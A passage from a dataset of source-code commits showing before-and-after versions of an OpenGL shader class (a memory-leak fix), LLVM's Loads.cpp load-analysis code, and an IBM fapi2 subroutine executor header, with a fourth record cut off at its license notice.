m.begin());\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, const math::Matrix4<float> &m) const {\n\tgl::glProgramUniformMatrix4fv(handle, addr, 1, GL_TRUE, m.begin());\n}\n\nvoid ShaderInstance::setValue(UniformAddr slot, const Texture &t, TextureSampler sampler) const {\n\tif(slot != UniformAddr(GL_INVALID_INDEX)) {\n\t\tbindings[slot] = t;\n\t\tbindings[slot] = sampler;\n\t\tif(current == this) {\n\t\t\tbindings[slot].bind(slot);\n\t\t} else {\n\t\t\tt.prepare();\n\t\t}\n\t}\n}\n\nShaderInstance::UniformAddr ShaderInstance::getAddr(const core::String &name) const {\n\treturn getInfo(name).addr;\n}\n\nShaderInstance::UniformInfo ShaderInstance::getInfo(const core::String &name) const {\treturn uniformsInfo.get(name, UniformInfo{UniformAddr(GL_INVALID_INDEX), 0});\n}\n\n}\n}\n<commit_msg>Fixed mem leaks.<commit_after>\/*******************************\nCopyright (C) 2013-2015 gregoire ANGERAND\n\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n**********************************\/\n\n#include \"ShaderInstance.h\"\n#include \"GLContext.h\"\n\n\nnamespace n {\nnamespace graphics {\n\n\nShaderInstance *ShaderInstance::current = 0;\n\n\nShaderInstance::ShaderInstance(Shader<FragmentShader> *frag, Shader<VertexShader> *vert, Shader<GeometryShader> *geom) : handle(0), samplerCount(0), bases{frag, vert, geom} {\n\tcompile();\n}\n\nShaderInstance::ShaderInstance(Shader<FragmentShader> *frag, ShaderProgram::StandardVertexShader vert, Shader<GeometryShader> *geom) : ShaderInstance(frag, ShaderProgram::getStandardVertexShader(vert), geom) {\n\n}\n\nShaderInstance::~ShaderInstance() {\n\tif(handle) {\n\t\tgl::GLuint h = handle;\n\t\tGLContext::getContext()->addGLTask([=]() { gl::glDeleteProgram(h); });\n\t}\n\tdelete[] bindings;\n}\n\nconst ShaderInstance *ShaderInstance::getCurrent() {\n\treturn current;\n}\n\nvoid ShaderInstance::bind() {\n\tGLContext::getContext()->program = 0;\n\tif(current != this) {\n\t\trebind();\n\t}\n}\n\nvoid ShaderInstance::rebind() {\n\tGLContext::getContext()->program = 0;\n\tgl::glUseProgram(handle);\n\tfor(uint i = 0; i != samplerCount; i++) {\n\t\tbindings[i].bind(i);\n\t}\n\tcurrent = this;\n\t\/\/bindStandards();\n}\n\nvoid ShaderInstance::unbind() {\n\tcurrent = 0;\n\tinternal::rebindProgram();\n}\n\nvoid ShaderInstance::compile() {\n\thandle = gl::glCreateProgram();\n\tbool val = true;\n\tfor(uint i = 0; i != 3; i++) {\n\t\tif(bases[i]) {\n\t\t\tgl::glAttachShader(handle, bases[i]->handle);\n\t\t\tval &= bases[i]->isValid();\n\t\t}\n\t}\n\tgl::glLinkProgram(handle);\n\tint res = 0;\n\tgl::glGetProgramiv(handle, GL_LINK_STATUS, &res);\n\tif(!res || !val) {\n\t\tint size = 0;\n\t\tgl::glGetProgramiv(handle, GL_INFO_LOG_LENGTH, &size);\n\t\tchar *msg = new char[size + 1];\n\t\tgl::glGetProgramInfoLog(handle, size, &res, msg);\n\t\tgl::glDeleteProgram(handle);\n\t\thandle = 0;\n\t\tmsg[size] = '\\0';\n\t\tcore::String logs = msg;\n\t\tdelete[] msg;\n\t\tthrow ShaderLinkingException(logs);\n\t} else {\n\t\tgetUniforms();\n\t}\n}\n\nvoid ShaderInstance::getUniforms() {\n\tconst uint max = 512;\n\tchar name[max];\n\tint uniforms = 0;\n\tgl::glGetProgramiv(handle, GL_ACTIVE_UNIFORMS, &uniforms);\n\tfor(uint i = 0; i != SVMax; i++) {\n\t\tstandards[i] = UniformAddr(GL_INVALID_INDEX);\n\t}\n\tfor(uint i = 0; i != (uint)uniforms; i++) {\n\t\tgl::GLsizei size = 0;\n\t\tgl::GLenum type = GL_NONE;\n\t\tgl::glGetActiveUniform(handle, i, max - 1, 0, &size, &type, name);\n\t\tcore::String uniform = name;\n\t\tif(uniform.endsWith(\"[0]\")) {\n\t\t\tuniform = uniform.subString(0, uniform.size() - 3);\n\t\t}\n\t\tUniformInfo info({gl::glGetUniformLocation(handle, name), (uint)size});\n\t\tif(isSampler(type)) {\n\t\t\tuint slot = samplerCount++;\n\t\t\tsetValue(info.addr, int(slot));\n\t\t\tinfo.addr = slot;\n\t\t}\n\t\tuniformsInfo[uniform] = info;\n\t\tint std = computeStandardIndex(uniform);\n\t\tif(std != UniformAddr(GL_INVALID_INDEX)) {\n\t\t\tstandards[std] = info.addr;\n\t\t}\n\t}\n\tbindings = new internal::TextureBinding[samplerCount];\n}\n\nShaderInstance::UniformAddr ShaderInstance::computeStandardIndex(const core::String &name) {\n\tfor(uint i = 0; i != SVMax; i++) {\n\t\tif(name == ShaderValueName[i]) {\n\t\t\treturn i;\n\t\t}\n\t}\n\treturn UniformAddr(GL_INVALID_INDEX);\n}\n\nvoid ShaderInstance::bindStandards() const {\n\tsetValue(\"n_ProjectionMatrix\", GLContext::getContext()->getProjectionMatrix());\n\tsetValue(\"n_ViewMatrix\", GLContext::getContext()->getViewMatrix());\n\tsetValue(\"n_ViewportSize\", math::Vec2(GLContext::getContext()->getViewport()));\n\tsetValue(\"n_ModelMatrix\", GLContext::getContext()->getModelMatrix());\n\tsetValue(\"n_ViewProjectionMatrix\", GLContext::getContext()->getProjectionMatrix() * GLContext::getContext()->getViewMatrix());\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, int a) const {\n\tgl::glProgramUniform1i(handle, addr, a);\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, uint a) const {\n\tgl::glProgramUniform1ui(handle, addr, a);\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, float f) const {\n\tgl::glProgramUniform1f(handle, addr, f);\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, double f) const {\n\tgl::glProgramUniform1f(handle, addr, f);\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, const math::Vec2i &v) const {\n\tgl::glProgramUniform2iv(handle, addr, 1, v.begin());\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, const math::Vec3i &v) const {\n\tgl::glProgramUniform3iv(handle, addr, 1, v.begin());\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, const math::Vec2 &v) const {\n\tgl::glProgramUniform2fv(handle, addr, 1, v.begin());\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, const math::Vec3 &v) const {\n\tgl::glProgramUniform3fv(handle, addr, 1, v.begin());\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, const math::Vec4 &v) const {\n\tgl::glProgramUniform4fv(handle, addr, 1, v.begin());\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, const math::Matrix2<float> &m) const {\n\tgl::glProgramUniformMatrix2fv(handle, addr, 1, GL_TRUE, m.begin());\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, const math::Matrix3<float> &m) const {\n\tgl::glProgramUniformMatrix3fv(handle, addr, 1, GL_TRUE, m.begin());\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, const math::Matrix4<float> &m) const {\n\tgl::glProgramUniformMatrix4fv(handle, addr, 1, GL_TRUE, m.begin());\n}\n\nvoid ShaderInstance::setValue(UniformAddr slot, const Texture &t, TextureSampler sampler) const {\n\tif(slot != UniformAddr(GL_INVALID_INDEX)) {\n\t\tbindings[slot] = t;\n\t\tbindings[slot] = sampler;\n\t\tif(current == this) {\n\t\t\tbindings[slot].bind(slot);\n\t\t} else {\n\t\t\tt.prepare();\n\t\t}\n\t}\n}\n\nShaderInstance::UniformAddr ShaderInstance::getAddr(const core::String &name) const {\n\treturn getInfo(name).addr;\n}\n\nShaderInstance::UniformInfo ShaderInstance::getInfo(const core::String &name) const {\treturn uniformsInfo.get(name, UniformInfo{UniformAddr(GL_INVALID_INDEX), 0});\n}\n\n}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===- Loads.cpp - Local load analysis ------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines simple local analyses for load instructions.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Analysis\/Loads.h\"\n#include \"llvm\/Analysis\/AliasAnalysis.h\"\n#include \"llvm\/Target\/TargetData.h\"\n#include \"llvm\/GlobalAlias.h\"\n#include \"llvm\/GlobalVariable.h\"\n#include \"llvm\/IntrinsicInst.h\"\n#include \"llvm\/Operator.h\"\nusing namespace llvm;\n\n\/\/\/ AreEquivalentAddressValues - Test if A and B will obviously have the same\n\/\/\/ value. This includes recognizing that %t0 and %t1 will have the same\n\/\/\/ value in code like this:\n\/\/\/ %t0 = getelementptr \\@a, 0, 3\n\/\/\/ store i32 0, i32* %t0\n\/\/\/ %t1 = getelementptr \\@a, 0, 3\n\/\/\/ %t2 = load i32* %t1\n\/\/\/\nstatic bool AreEquivalentAddressValues(const Value *A, const Value *B) {\n \/\/ Test if the values are trivially equivalent.\n if (A == B) return true;\n \n \/\/ Test if the values come from identical arithmetic instructions.\n \/\/ Use isIdenticalToWhenDefined instead of isIdenticalTo because\n \/\/ this function is only used when one address use dominates the\n \/\/ other, which means that they'll always either have the same\n \/\/ value or one of them will have an undefined value.\n if (isa<BinaryOperator>(A) || isa<CastInst>(A) ||\n isa<PHINode>(A) || isa<GetElementPtrInst>(A))\n if (const Instruction *BI = dyn_cast<Instruction>(B))\n if (cast<Instruction>(A)->isIdenticalToWhenDefined(BI))\n return true;\n \n \/\/ Otherwise they may not be equivalent.\n return false;\n}\n\n\/\/\/ getUnderlyingObjectWithOffset - Strip off up to MaxLookup GEPs and\n\/\/\/ bitcasts to get back to the underlying object being addressed, keeping\n\/\/\/ track of the offset in bytes from the GEPs relative to the result.\n\/\/\/ This is closely related to GetUnderlyingObject but is located\n\/\/\/ here to avoid making VMCore depend on TargetData.\nstatic Value *getUnderlyingObjectWithOffset(Value *V, const TargetData *TD,\n uint64_t &ByteOffset,\n unsigned MaxLookup = 6) {\n if (!V->getType()->isPointerTy())\n return V;\n for (unsigned Count = 0; MaxLookup == 0 || Count < MaxLookup; ++Count) {\n if (GEPOperator *GEP = dyn_cast<GEPOperator>(V)) {\n if (!GEP->hasAllConstantIndices())\n return V;\n SmallVector<Value*, 8> Indices(GEP->op_begin() + 1, GEP->op_end());\n ByteOffset += TD->getIndexedOffset(GEP->getPointerOperandType(),\n &Indices[0], Indices.size());\n V = GEP->getPointerOperand();\n } else if (Operator::getOpcode(V) == Instruction::BitCast) {\n V = cast<Operator>(V)->getOperand(0);\n } else if (GlobalAlias *GA = dyn_cast<GlobalAlias>(V)) {\n if (GA->mayBeOverridden())\n return V;\n V = GA->getAliasee();\n } else {\n return V;\n }\n assert(V->getType()->isPointerTy() && \"Unexpected operand type!\");\n }\n return V;\n}\n\n\/\/\/ isSafeToLoadUnconditionally - Return true if we know that executing a load\n\/\/\/ from this value cannot trap. If it is not obviously safe to load from the\n\/\/\/ specified pointer, we do a quick local scan of the basic block containing\n\/\/\/ ScanFrom, to determine if the address is already accessed.\nbool llvm::isSafeToLoadUnconditionally(Value *V, Instruction *ScanFrom,\n unsigned Align, const TargetData *TD) {\n uint64_t ByteOffset = 0;\n Value *Base = V;\n if (TD)\n Base = getUnderlyingObjectWithOffset(V, TD, ByteOffset);\n\n const Type *BaseType = 0;\n unsigned BaseAlign = 0;\n if (const AllocaInst *AI = dyn_cast<AllocaInst>(Base)) {\n \/\/ An alloca is safe to load from as load as it is suitably aligned.\n BaseType = AI->getAllocatedType();\n BaseAlign = AI->getAlignment();\n } else if (const GlobalValue *GV = dyn_cast<GlobalValue>(Base)) {\n \/\/ Global variables are safe to load from but their size cannot be\n \/\/ guaranteed if they are overridden.\n if (!isa<GlobalAlias>(GV) && !GV->mayBeOverridden()) {\n BaseType = GV->getType()->getElementType();\n BaseAlign = GV->getAlignment();\n }\n }\n\n if (BaseType && BaseType->isSized()) {\n if (TD && BaseAlign == 0)\n BaseAlign = TD->getPrefTypeAlignment(BaseType);\n\n if (Align <= BaseAlign) {\n if (!TD)\n return true; \/\/ Loading directly from an alloca or global is OK.\n\n \/\/ Check if the load is within the bounds of the underlying object.\n const PointerType *AddrTy = cast<PointerType>(V->getType());\n uint64_t LoadSize = TD->getTypeStoreSize(AddrTy->getElementType());\n if (ByteOffset + LoadSize <= TD->getTypeAllocSize(BaseType) &&\n (Align == 0 || (ByteOffset % Align) == 0))\n return true;\n }\n }\n\n \/\/ Otherwise, be a little bit aggressive by scanning the local block where we\n \/\/ want to check to see if the pointer is already being loaded or stored\n \/\/ from\/to. If so, the previous load or store would have already trapped,\n \/\/ so there is no harm doing an extra load (also, CSE will later eliminate\n \/\/ the load entirely).\n BasicBlock::iterator BBI = ScanFrom, E = ScanFrom->getParent()->begin();\n\n while (BBI != E) {\n --BBI;\n\n \/\/ If we see a free or a call which may write to memory (i.e. which might do\n \/\/ a free) the pointer could be marked invalid.\n if (isa<CallInst>(BBI) && BBI->mayWriteToMemory() &&\n !isa<DbgInfoIntrinsic>(BBI))\n return false;\n\n if (LoadInst *LI = dyn_cast<LoadInst>(BBI)) {\n if (AreEquivalentAddressValues(LI->getOperand(0), V)) return true;\n } else if (StoreInst *SI = dyn_cast<StoreInst>(BBI)) {\n if (AreEquivalentAddressValues(SI->getOperand(1), V)) return true;\n }\n }\n return false;\n}\n\n\/\/\/ FindAvailableLoadedValue - Scan the ScanBB block backwards (starting at the\n\/\/\/ instruction before ScanFrom) checking to see if we have the value at the\n\/\/\/ memory address *Ptr locally available within a small number of instructions.\n\/\/\/ If the value is available, return it.\n\/\/\/\n\/\/\/ If not, return the iterator for the last validated instruction that the \n\/\/\/ value would be live through. If we scanned the entire block and didn't find\n\/\/\/ something that invalidates *Ptr or provides it, ScanFrom would be left at\n\/\/\/ begin() and this returns null. ScanFrom could also be left \n\/\/\/\n\/\/\/ MaxInstsToScan specifies the maximum instructions to scan in the block. If\n\/\/\/ it is set to 0, it will scan the whole block. You can also optionally\n\/\/\/ specify an alias analysis implementation, which makes this more precise.\nValue *llvm::FindAvailableLoadedValue(Value *Ptr, BasicBlock *ScanBB,\n BasicBlock::iterator &ScanFrom,\n unsigned MaxInstsToScan,\n AliasAnalysis *AA) {\n if (MaxInstsToScan == 0) MaxInstsToScan = ~0U;\n\n \/\/ If we're using alias analysis to disambiguate get the size of *Ptr.\n uint64_t AccessSize = 0;\n if (AA) {\n const Type *AccessTy = cast<PointerType>(Ptr->getType())->getElementType();\n AccessSize = AA->getTypeStoreSize(AccessTy);\n }\n \n while (ScanFrom != ScanBB->begin()) {\n \/\/ We must ignore debug info directives when counting (otherwise they\n \/\/ would affect codegen).\n Instruction *Inst = --ScanFrom;\n if (isa<DbgInfoIntrinsic>(Inst))\n continue;\n\n \/\/ Restore ScanFrom to expected value in case next test succeeds\n ScanFrom++;\n \n \/\/ Don't scan huge blocks.\n if (MaxInstsToScan-- == 0) return 0;\n \n --ScanFrom;\n \/\/ If this is a load of Ptr, the loaded value is available.\n if (LoadInst *LI = dyn_cast<LoadInst>(Inst))\n if (AreEquivalentAddressValues(LI->getOperand(0), Ptr))\n return LI;\n \n if (StoreInst *SI = dyn_cast<StoreInst>(Inst)) {\n \/\/ If this is a store through Ptr, the value is available!\n if (AreEquivalentAddressValues(SI->getOperand(1), Ptr))\n return SI->getOperand(0);\n \n \/\/ If Ptr is an alloca and this is a store to a different alloca, ignore\n \/\/ the store. This is a trivial form of alias analysis that is important\n \/\/ for reg2mem'd code.\n if ((isa<AllocaInst>(Ptr) || isa<GlobalVariable>(Ptr)) &&\n (isa<AllocaInst>(SI->getOperand(1)) ||\n isa<GlobalVariable>(SI->getOperand(1))))\n continue;\n \n \/\/ If we have alias analysis and it says the store won't modify the loaded\n \/\/ value, ignore the store.\n if (AA &&\n (AA->getModRefInfo(SI, Ptr, AccessSize) & AliasAnalysis::Mod) == 0)\n continue;\n \n \/\/ Otherwise the store that may or may not alias the pointer, bail out.\n ++ScanFrom;\n return 0;\n }\n \n \/\/ If this is some other instruction that may clobber Ptr, bail out.\n if (Inst->mayWriteToMemory()) {\n \/\/ If alias analysis claims that it really won't modify the load,\n \/\/ ignore it.\n if (AA &&\n (AA->getModRefInfo(Inst, Ptr, AccessSize) & AliasAnalysis::Mod) == 0)\n continue;\n \n \/\/ May modify the pointer, bail out.\n ++ScanFrom;\n return 0;\n }\n }\n \n \/\/ Got to the start of the block, we didn't find it, but are done for this\n \/\/ block.\n return 0;\n}\n<commit_msg>Test commit.<commit_after>\/\/===- Loads.cpp - Local load analysis ------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines simple local analyses for load instructions.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Analysis\/Loads.h\"\n#include \"llvm\/Analysis\/AliasAnalysis.h\"\n#include \"llvm\/Target\/TargetData.h\"\n#include \"llvm\/GlobalAlias.h\"\n#include \"llvm\/GlobalVariable.h\"\n#include \"llvm\/IntrinsicInst.h\"\n#include \"llvm\/Operator.h\"\nusing namespace llvm;\n\n\/\/\/ AreEquivalentAddressValues - Test if A and B will obviously have the same\n\/\/\/ value. This includes recognizing that %t0 and %t1 will have the same\n\/\/\/ value in code like this:\n\/\/\/ %t0 = getelementptr \\@a, 0, 3\n\/\/\/ store i32 0, i32* %t0\n\/\/\/ %t1 = getelementptr \\@a, 0, 3\n\/\/\/ %t2 = load i32* %t1\n\/\/\/\nstatic bool AreEquivalentAddressValues(const Value *A, const Value *B) {\n \/\/ Test if the values are trivially equivalent.\n if (A == B) return true;\n\n \/\/ Test if the values come from identical arithmetic instructions.\n \/\/ Use isIdenticalToWhenDefined instead of isIdenticalTo because\n \/\/ this function is only used when one address use dominates the\n \/\/ other, which means that they'll always either have the same\n \/\/ value or one of them will have an undefined value.\n if (isa<BinaryOperator>(A) || isa<CastInst>(A) ||\n isa<PHINode>(A) || isa<GetElementPtrInst>(A))\n if (const Instruction *BI = dyn_cast<Instruction>(B))\n if (cast<Instruction>(A)->isIdenticalToWhenDefined(BI))\n return true;\n\n \/\/ Otherwise they may not be equivalent.\n return false;\n}\n\n\/\/\/ getUnderlyingObjectWithOffset - Strip off up to MaxLookup GEPs and\n\/\/\/ bitcasts to get back to the underlying object being addressed, keeping\n\/\/\/ track of the offset in bytes from the GEPs relative to the result.\n\/\/\/ This is closely related to GetUnderlyingObject but is located\n\/\/\/ here to avoid making VMCore depend on TargetData.\nstatic Value *getUnderlyingObjectWithOffset(Value *V, const TargetData *TD,\n uint64_t &ByteOffset,\n unsigned MaxLookup = 6) {\n if (!V->getType()->isPointerTy())\n return V;\n for (unsigned Count = 0; MaxLookup == 0 || Count < MaxLookup; ++Count) {\n if (GEPOperator *GEP = dyn_cast<GEPOperator>(V)) {\n if (!GEP->hasAllConstantIndices())\n return V;\n SmallVector<Value*, 8> Indices(GEP->op_begin() + 1, GEP->op_end());\n ByteOffset += TD->getIndexedOffset(GEP->getPointerOperandType(),\n &Indices[0], Indices.size());\n V = GEP->getPointerOperand();\n } else if (Operator::getOpcode(V) == Instruction::BitCast) {\n V = cast<Operator>(V)->getOperand(0);\n } else if (GlobalAlias *GA = dyn_cast<GlobalAlias>(V)) {\n if (GA->mayBeOverridden())\n return V;\n V = GA->getAliasee();\n } else {\n return V;\n }\n assert(V->getType()->isPointerTy() && \"Unexpected operand type!\");\n }\n return V;\n}\n\n\/\/\/ isSafeToLoadUnconditionally - Return true if we know that executing a load\n\/\/\/ from this value cannot trap. If it is not obviously safe to load from the\n\/\/\/ specified pointer, we do a quick local scan of the basic block containing\n\/\/\/ ScanFrom, to determine if the address is already accessed.\nbool llvm::isSafeToLoadUnconditionally(Value *V, Instruction *ScanFrom,\n unsigned Align, const TargetData *TD) {\n uint64_t ByteOffset = 0;\n Value *Base = V;\n if (TD)\n Base = getUnderlyingObjectWithOffset(V, TD, ByteOffset);\n\n const Type *BaseType = 0;\n unsigned BaseAlign = 0;\n if (const AllocaInst *AI = dyn_cast<AllocaInst>(Base)) {\n \/\/ An alloca is safe to load from as load as it is suitably aligned.\n BaseType = AI->getAllocatedType();\n BaseAlign = AI->getAlignment();\n } else if (const GlobalValue *GV = dyn_cast<GlobalValue>(Base)) {\n \/\/ Global variables are safe to load from but their size cannot be\n \/\/ guaranteed if they are overridden.\n if (!isa<GlobalAlias>(GV) && !GV->mayBeOverridden()) {\n BaseType = GV->getType()->getElementType();\n BaseAlign = GV->getAlignment();\n }\n }\n\n if (BaseType && BaseType->isSized()) {\n if (TD && BaseAlign == 0)\n BaseAlign = TD->getPrefTypeAlignment(BaseType);\n\n if (Align <= BaseAlign) {\n if (!TD)\n return true; \/\/ Loading directly from an alloca or global is OK.\n\n \/\/ Check if the load is within the bounds of the underlying object.\n const PointerType *AddrTy = cast<PointerType>(V->getType());\n uint64_t LoadSize = TD->getTypeStoreSize(AddrTy->getElementType());\n if (ByteOffset + LoadSize <= TD->getTypeAllocSize(BaseType) &&\n (Align == 0 || (ByteOffset % Align) == 0))\n return true;\n }\n }\n\n \/\/ Otherwise, be a little bit aggressive by scanning the local block where we\n \/\/ want to check to see if the pointer is already being loaded or stored\n \/\/ from\/to. If so, the previous load or store would have already trapped,\n \/\/ so there is no harm doing an extra load (also, CSE will later eliminate\n \/\/ the load entirely).\n BasicBlock::iterator BBI = ScanFrom, E = ScanFrom->getParent()->begin();\n\n while (BBI != E) {\n --BBI;\n\n \/\/ If we see a free or a call which may write to memory (i.e. which might do\n \/\/ a free) the pointer could be marked invalid.\n if (isa<CallInst>(BBI) && BBI->mayWriteToMemory() &&\n !isa<DbgInfoIntrinsic>(BBI))\n return false;\n\n if (LoadInst *LI = dyn_cast<LoadInst>(BBI)) {\n if (AreEquivalentAddressValues(LI->getOperand(0), V)) return true;\n } else if (StoreInst *SI = dyn_cast<StoreInst>(BBI)) {\n if (AreEquivalentAddressValues(SI->getOperand(1), V)) return true;\n }\n }\n return false;\n}\n\n\/\/\/ FindAvailableLoadedValue - Scan the ScanBB block backwards (starting at the\n\/\/\/ instruction before ScanFrom) checking to see if we have the value at the\n\/\/\/ memory address *Ptr locally available within a small number of instructions.\n\/\/\/ If the value is available, return it.\n\/\/\/\n\/\/\/ If not, return the iterator for the last validated instruction that the \n\/\/\/ value would be live through. If we scanned the entire block and didn't find\n\/\/\/ something that invalidates *Ptr or provides it, ScanFrom would be left at\n\/\/\/ begin() and this returns null. ScanFrom could also be left \n\/\/\/\n\/\/\/ MaxInstsToScan specifies the maximum instructions to scan in the block. If\n\/\/\/ it is set to 0, it will scan the whole block. You can also optionally\n\/\/\/ specify an alias analysis implementation, which makes this more precise.\nValue *llvm::FindAvailableLoadedValue(Value *Ptr, BasicBlock *ScanBB,\n BasicBlock::iterator &ScanFrom,\n unsigned MaxInstsToScan,\n AliasAnalysis *AA) {\n if (MaxInstsToScan == 0) MaxInstsToScan = ~0U;\n\n \/\/ If we're using alias analysis to disambiguate get the size of *Ptr.\n uint64_t AccessSize = 0;\n if (AA) {\n const Type *AccessTy = cast<PointerType>(Ptr->getType())->getElementType();\n AccessSize = AA->getTypeStoreSize(AccessTy);\n }\n \n while (ScanFrom != ScanBB->begin()) {\n \/\/ We must ignore debug info directives when counting (otherwise they\n \/\/ would affect codegen).\n Instruction *Inst = --ScanFrom;\n if (isa<DbgInfoIntrinsic>(Inst))\n continue;\n\n \/\/ Restore ScanFrom to expected value in case next test succeeds\n ScanFrom++;\n \n \/\/ Don't scan huge blocks.\n if (MaxInstsToScan-- == 0) return 0;\n \n --ScanFrom;\n \/\/ If this is a load of Ptr, the loaded value is available.\n if (LoadInst *LI = dyn_cast<LoadInst>(Inst))\n if (AreEquivalentAddressValues(LI->getOperand(0), Ptr))\n return LI;\n \n if (StoreInst *SI = dyn_cast<StoreInst>(Inst)) {\n \/\/ If this is a store through Ptr, the value is available!\n if (AreEquivalentAddressValues(SI->getOperand(1), Ptr))\n return SI->getOperand(0);\n \n \/\/ If Ptr is an alloca and this is a store to a different alloca, ignore\n \/\/ the store. This is a trivial form of alias analysis that is important\n \/\/ for reg2mem'd code.\n if ((isa<AllocaInst>(Ptr) || isa<GlobalVariable>(Ptr)) &&\n (isa<AllocaInst>(SI->getOperand(1)) ||\n isa<GlobalVariable>(SI->getOperand(1))))\n continue;\n \n \/\/ If we have alias analysis and it says the store won't modify the loaded\n \/\/ value, ignore the store.\n if (AA &&\n (AA->getModRefInfo(SI, Ptr, AccessSize) & AliasAnalysis::Mod) == 0)\n continue;\n \n \/\/ Otherwise the store that may or may not alias the pointer, bail out.\n ++ScanFrom;\n return 0;\n }\n \n \/\/ If this is some other instruction that may clobber Ptr, bail out.\n if (Inst->mayWriteToMemory()) {\n \/\/ If alias analysis claims that it really won't modify the load,\n \/\/ ignore it.\n if (AA &&\n (AA->getModRefInfo(Inst, Ptr, AccessSize) & AliasAnalysis::Mod) == 0)\n continue;\n \n \/\/ May modify the pointer, bail out.\n ++ScanFrom;\n return 0;\n }\n }\n \n \/\/ Got to the start of the block, we didn't find it, but are done for this\n \/\/ block.\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/hwpf\/fapi2\/include\/fapi2_subroutine_executor.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2017 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/\/\n\/\/\/ @file fapi2_sub_executor.H\n\/\/\/\n\/\/\/ @brief Defines the FAPI2 Subroutine Executor Macro.\n\/\/\/\n\/\/\/ The FAPI2 Subroutine Executor macro is called to execute a chip-op\n\/\/\/ or subroutine.\n\/\/\/\n\n#ifndef FAPI2SUBEXECUTOR_H_\n#define FAPI2SUBEXECUTOR_H_\n\n#include <plat_sub_executor.H>\n\n\/**\n * @brief Subroutine Executor macro\n *\n * This macro calls a PLAT macro which will do any platform specific work to\n * execute the Subroutine (e.g. dlopening a shared library)\n *\/\n#define FAPI_CALL_SUBROUTINE(RC, CHIPOP, FUNC, _args_...) \\\n FAPI_PLAT_CALL_SUBROUTINE(RC, CHIPOP, FUNC, ##_args_)\n\n#endif \/\/ FAPI2SUBEXECUTOR_H_\n<commit_msg>Remove CHIPOP parameter from FAPI_CALL_SUBROUTINE<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/hwpf\/fapi2\/include\/fapi2_subroutine_executor.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2017 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/\/\n\/\/\/ @file fapi2_sub_executor.H\n\/\/\/\n\/\/\/ @brief Defines the FAPI2 Subroutine Executor Macro.\n\/\/\/\n\/\/\/ The FAPI2 Subroutine Executor macro is called to execute a chip-op\n\/\/\/ or subroutine.\n\/\/\/\n\n#ifndef FAPI2SUBEXECUTOR_H_\n#define FAPI2SUBEXECUTOR_H_\n\n#include <subroutine_executor.H>\n\n\/**\n * @brief Subroutine Executor macro\n *\n * This macro calls a PLAT macro which will do any platform specific work to\n * execute the Subroutine (e.g. dlopening a shared library)\n *\/\n#define FAPI_CALL_SUBROUTINE(RC, FUNC, _args_...) \\\n FAPI_PLAT_CALL_SUBROUTINE(RC, FUNC, ##_args_)\n\n#endif \/\/ FAPI2SUBEXECUTOR_H_\n<|endoftext|>"} {"text":"<commit_before>\/* LICENSE NOTICE\n\tCopyright (c) 2009, Frederick Emmott <mail@fredemmott.co.uk>\n\n\tPermission to use, copy, modify, and\/or distribute this software for any\n\tpurpose with or without fee is hereby granted, provided that the 